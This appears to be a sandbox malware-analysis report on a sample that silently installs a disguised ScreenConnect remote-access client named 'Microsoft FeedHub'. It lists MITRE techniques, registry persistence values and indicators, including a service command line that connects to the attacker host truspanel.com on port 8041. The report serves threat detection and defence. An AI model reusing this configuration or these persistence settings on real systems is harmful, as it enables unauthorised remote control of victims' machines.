b3b4fbc8455e65b21fa1e01986183765e2683c0e277c9449cddf9856efa84491

Analysis

max time kernel
151s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 00:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-17_27f7336cd521d20e32684170c6e5270b_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
Size 90.5MB
Sample260818-azmlxatvbw
SHA256 b3b4fbc8455e65b21fa1e01986183765e2683c0e277c9449cddf9856efa84491
MD5 27f7336cd521d20e32684170c6e5270b
SHA1 3d89d908bea78a4bb9af25996562d573f21e2b08
SHA512 c23bf76a0858652cc0a22e33e4ca8299f3643e248b355b847c7ac01bfd34e743fdfaca4b4a5240037638ef5d28cc6915a0dca4756685d57081cc3f0f87e95f0c
SSDEEP 1572864:P1PE0jfopx56Bu61eGv1pjg6pWe8tm5rDZjyTfvUM9GaTBIAiJxLook47Cua+e/R:PpE07q6I61H5g6h8teZOTfsMQbHxPB7c
TLSH
T1EF282330F60ACD36CD9605B09C7DAB6E612D7A750B2590CBB3D82D2D29B14E32736E53
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery persistence privilege_escalation ransomware revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Microsoft FeedHub\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (8ac92166cfc8eb6e)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=truspanel.com&p=8041&s=ced1a1f2-bf93-4d30-968a-8e299ad8671d&k=BgIAAACkAABSU0ExAAgAAAEAAQA1rUYx%2fEJmJZj4JWThdhvdGhnbxaZ4vjoQWUMOccRAA4WeGOHdHME62UWQRtBynmmQzJ1OGU0iZf9HSLVC1saVYNgjsUhGnH3uimRQR4fhRvOzZ7ASGKk1ruX0veaJcMtgOMt1MCzRr9yL%2fd6h62dNJEXegwo4Ik%2bujkkJt6ayoButIxHU7QsKxeebPc%2fDrTqwo%2f4G6Y5%2fOPeaPXvWuYt9We7TZbmuKPKYNjFC%2fUVj7JUXKNzmAzg4TVAgmaN3%2bEQWgWfClOhALHLoVXi9b1XnBleTxwQb5NOVMPiAPjLGX6QuUn%2fVBKpfFbhH8bKqG6VwkJPHRsmFaM%2fTFG8GeHjl&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA4O4IPxdU40uDpTN9IoU3xQAAAAACAAAAAAAQZgAAAAEAACAAAAAr8Uf3ZQbmlXzWPyY6r2gYGRQHo2mJ2%2b%2bmZn%2frcWb1vwAAAAAOgAAAAAIAACAAAAALY%2bL%2baFMU6ALB%2f94VSXnK98hs%2bXmbgBv7FhOjR%2b9pBqAEAAC9dJU5H8jWdIQVzZ8VmnATm%2fn5DP3VDCw4Oc%2bjGuZlXHoq%2bOIWfYR1Oq%2b%2f6AxWvgZFg7%2bfdXK5DYoWHKjqVSt9OZODuk%2b0pF5WZ17OaaBVj%2fmOmas4pQ52Y88iW0UiR1fE0LFxqY4cmHYwVbKLw7aJp3ocgQEji8qbsHEfBeU6gl1fQcPvdO2zzT27VEBDBcIvbVDJwQoURQoFoLL1r4qTIfuPer3kendK1IQsPaD00Olr4E6GvmxNFpms%2fXjQIihtIsgJbj8GxZWmypIxlT3Nbv1Pvx%2fiX7w2sXszaNqlD2rK%2f%2bIumfCLya5qPpYNo1dxK4VOS6E4Xcd%2fFXNjo0AJhf%2bgj%2fc6qBJS6jk5%2bNaZSP1PR0oOZz041PHUARm9jdZpWWQToKeNWJ1PmofKrijh6%2bUrbYj9Qm%2bDzsm7oP7LAznQRBiHke%2fzKRD5o5wXV4vP5vnZ%2f%2fAKO4imLPPuINHXteq50D3VA1NSDAA35eCkw%2fGOTD8IYZZzTp8FRMTu3Y14%2fXzpQ%2bvmrBin67NJ%2f7H1QzbalDPyJLMAzorivW1UjNIBazT0inb8RTPg8BMWfsBgCv5ggXpBI7D%2b7Kms%2f2070n7O7OShGEe3fFW1KixTrHOlul1HikYPCXcN32NmPoTwehxBTnPukKPnjUkl%2bk%2fshe0WFdfShtV8uEgexBF8ZFRD3pGnBuBweJHkfkGee4tiGbwMuJKFT9g%2b7iOQKi%2f%2fFNp%2f4%2bjciYHCd3sbbiBn4cxLqKJG3lVe04mgo94otxtITJDXZch%2bZyVAV3LRXH4mUP65QoCX85LUMwRyRnnS8ztugBIJWqgkcek3nMlf5nueq9AhyFueTIZSoIw7OOlgHV0WQ6GBFrIkytuRG6FUGoT%2bOKZaHSJYHmwwhu0fy9%2f5DgfGh56%2bM9NIavOuu4dAO%2fwxELAKxzSvFbCt4XVVDeA8hxOl51fDjPoK5KvboIWy2IMSQYv2lvf16Lzt64we5Lfe5VBcTedQ9FdfMwXIrq5WuFjhsK8kKZCdmURB%2fcx1NcnaJJ1Uz6jtGAELtZk0wWRe1nSwQM3FWOBjQRGB5WL06SNpIODgyX2p28ukZuwxU3%2b8GOtdPIPadsPpz1aie9K5io3ML11dbBK4E6carsa5qWla05RMlsHzb4AYEeqCUnLRbcB0sSKAGwCtHMCvtbl57x5eFWBU0sh3G%2fhLoottt1%2b%2bLjfWRJEDdziuuO9vnp20O2Y4jxG%2bm7EZ6VyhmrSm2o6lQLst%2fzL7vIn2D6deUS%2b2g5LHq7XrPa0Q8ohbXIafMH3uRXoCe0Q8U1x6Yqm1fz%2bkz%2f4U0I8t8fOZ0Y4o3YSsKOQ9hc1ZcqUjYt7nPqHv%2f8fdRF6T6MNIi6%2fa3PXoSRRCNRzzxY8jdmZZDPam2QWupRYFdMq6aUs7RVLGTcRUgDvaUpuBvOy%2bpx%2fDnrirLtQiXEJ5lOENFmu%2f3vFdeAQlNJIFcpPEBqUf76s5jIU4HAmUj5o4T5uYbelEzojnPRdoMosyr167revcDMB64z1G5O3in3FTSxM8lo9LKWrGJHGww1r8ogtuggtXNwu9%2ffp5cE0q6JlBowAm4kAAAAADZRomcbuBKzXHLob%2fXZ53TW0bocLrkI3GPhNaEzcsNoEWzNK1Ug4PzlWxeZyEIudkJavGnTq1jj03MgwyixvA\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 2 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/files/0x000d00000001c511-206.dat	revoked_cert_connectwise
behavioral2/memory/3028-207-0x0000000004A30000-0x0000000004B05000-memory.dmp	revoked_cert_connectwise

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 6 IoCs

pid	Process
4220	vc_redist.x64.exe
2000	vc_redist.x64.exe
4732	VC_redist.x64.exe
3028	ScreenConnect.ClientService.exe
484	ScreenConnect.WindowsClient.exe
1012	ScreenConnect.WindowsClient.exe

Loads dropped DLL 23 IoCs

pid	Process
2000	vc_redist.x64.exe
6124	MsiExec.exe
2152	rundll32.exe
2152	rundll32.exe
2152	rundll32.exe
2152	rundll32.exe
2152	rundll32.exe
2152	rundll32.exe
2152	rundll32.exe
2152	rundll32.exe
2152	rundll32.exe
6124	MsiExec.exe
5900	MsiExec.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800380061006300390032003100360036006300660063003800650062003600650029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8ac92166cfc8eb6e)\ycjmzzj3.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8ac92166cfc8eb6e)\ycjmzzj3.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.Client.dll	msiexec.exe

Drops file in Windows directory 26 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI2F05.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File created	C:\Windows\Installer\SourceHash{567348DE-CE29-6D02-979B-0177DD06E7DC}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3A90.tmp	msiexec.exe
File created	C:\Windows\Installer\e592b40.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\e592b3c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2F05.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI2F05.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI2F05.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3D31.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8CE81E8969B14E12.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2F05.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI2F05.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI2F05.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\wix{567348DE-CE29-6D02-979B-0177DD06E7DC}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\{567348DE-CE29-6D02-979B-0177DD06E7DC}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{567348DE-CE29-6D02-979B-0177DD06E7DC}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA2F071C709E8FE7D.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e592b3c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2F05.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2F05.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF977DBB9C756AE03B.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFBD1DBA74E09F8D4E.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3A03.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-17_27f7336cd521d20e32684170c6e5270b_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vc_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vc_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2904	msedge.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ad3b1fc6af0fc0350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ad3b1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ad3b1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ad3b1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ad3b1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134314872093160568"	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe

Modifies registry class 38 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\PackageCode = "ED84376592EC20D679B91077DD607ECD"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\Onchain_495d8bf6\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{373B2028-A579-4EE2-A92F-24A67913A5E1}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-156F-39DD2B5CE59C}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\SourceList\PackageName = "app.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8ac92166cfc8eb6e\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\ProductName = "Microsoft FeedHub"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\ProductIcon = "C:\\Windows\\Installer\\{567348DE-CE29-6D02-979B-0177DD06E7DC}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E7568D0A64CAD136A89C1266FC8CBEE6\ED84376592EC20D679B91077DD607ECD	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8ac92166cfc8eb6e\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (8ac92166cfc8eb6e)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\ED84376592EC20D679B91077DD607ECD	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-156F-39DD2B5CE59C}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-156F-39DD2B5CE59C}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (8ac92166cfc8eb6e)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\ED84376592EC20D679B91077DD607ECD\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E7568D0A64CAD136A89C1266FC8CBEE6	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8ac92166cfc8eb6e\shell\open	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\Version = "419627012"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-8ac92166cfc8eb6e	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8ac92166cfc8eb6e\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-156F-39DD2B5CE59C}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\Assignment = "1"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8ac92166cfc8eb6e\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-8ac92166cfc8eb6e\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8ac92166cfc8eb6e	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8ac92166cfc8eb6e\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED84376592EC20D679B91077DD607ECD\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Onchain_495d8bf6\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-156F-39DD2B5CE59C}\ = "Microsoft FeedHub Credential Provider"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1288	msiexec.exe
1288	msiexec.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
3028	ScreenConnect.ClientService.exe
1620	msedge.exe
1620	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1804	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1804	msiexec.exe
